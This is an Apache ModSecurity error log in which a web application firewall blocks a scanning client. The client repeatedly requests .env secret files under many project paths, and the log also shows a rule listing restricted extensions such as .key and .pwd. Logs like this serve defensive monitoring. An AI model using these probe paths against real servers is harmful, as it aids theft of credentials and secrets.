[Wed Feb 25 06:05:29.936424 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwQAAAAQ&quot;]
[Wed Feb 25 06:05:29.936597 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/secrets/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwQAAAAQ&quot;]
[Wed Feb 25 06:05:29.938256 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /projbackend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGQAAAAA&quot;]
[Wed Feb 25 06:05:29.938503 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGQAAAAA&quot;]
[Wed Feb 25 06:05:29.938661 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/projbackend/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGQAAAAA&quot;]
[Wed Feb 25 06:05:29.981371 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /selfish-darling-backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwgAAAAQ&quot;]
[Wed Feb 25 06:05:29.981633 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwgAAAAQ&quot;]
[Wed Feb 25 06:05:29.983029 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/selfish-darling-backend/.env&quot;] [unique_id &quot;aZ6DGZ6MLyC5r86Hx-ZXwgAAAAQ&quot;]
[Wed Feb 25 06:05:29.987019 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGgAAAAA&quot;]
[Wed Feb 25 06:05:29.987249 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGgAAAAA&quot;]
[Wed Feb 25 06:05:29.987402 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project/.env&quot;] [unique_id &quot;aZ6DGWXxsr5IXP-ltRibGgAAAAA&quot;]
[Wed Feb 25 06:05:30.046004 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /project_root/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibGwAAAAA&quot;]
[Wed Feb 25 06:05:30.046274 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibGwAAAAA&quot;]
[Wed Feb 25 06:05:30.046476 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/project_root/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibGwAAAAA&quot;]
[Wed Feb 25 06:05:30.077842 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve-browserbench/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxAAAAAQ&quot;]
[Wed Feb 25 06:05:30.078121 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxAAAAAQ&quot;]
[Wed Feb 25 06:05:30.078333 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/serve-browserbench/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxAAAAAQ&quot;]
[Wed Feb 25 06:05:30.083953 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /protected/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHAAAAAA&quot;]
[Wed Feb 25 06:05:30.084225 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHAAAAAA&quot;]
[Wed Feb 25 06:05:30.084408 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/protected/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHAAAAAA&quot;]
[Wed Feb 25 06:05:30.118881 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /serve_time_server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxQAAAAQ&quot;]
[Wed Feb 25 06:05:30.119156 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxQAAAAQ&quot;]
[Wed Feb 25 06:05:30.119329 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Serve_time_server/.env&quot;] [unique_id &quot;aZ6DGp6MLyC5r86Hx-ZXxQAAAAQ&quot;]
[Wed Feb 25 06:05:30.122402 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHQAAAAA&quot;]
[Wed Feb 25 06:05:30.122664 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHQAAAAA&quot;]
[Wed Feb 25 06:05:30.122820 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHQAAAAA&quot;]
[Wed Feb 25 06:05:30.150061 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt2/countries/src/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHgAAAAA&quot;]
[Wed Feb 25 06:05:30.150298 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHgAAAAA&quot;]
[Wed Feb 25 06:05:30.150467 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt2/countries/src/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHgAAAAA&quot;]
[Wed Feb 25 06:05:30.190954 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /pt8/library-backend-gql/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHwAAAAA&quot;]
[Wed Feb 25 06:05:30.191237 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHwAAAAA&quot;]
[Wed Feb 25 06:05:30.191411 2026] [:error] [pid 2312879] [client 185.177.72.13:59800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/pt8/library-backend-gql/.env&quot;] [unique_id &quot;aZ6DGmXxsr5IXP-ltRibHwAAAAA&quot;]
[Wed Feb 25 06:05:30.200191 2026] [authz_core:error] [pid 2312883] [client 185.177.72.13:59796] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/server-status
[Wed Feb 25 06:05:30.226574 2026] [:error] [pid 2312883] [client 185.177.72.13:59796] [client 185.177.72.13] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] 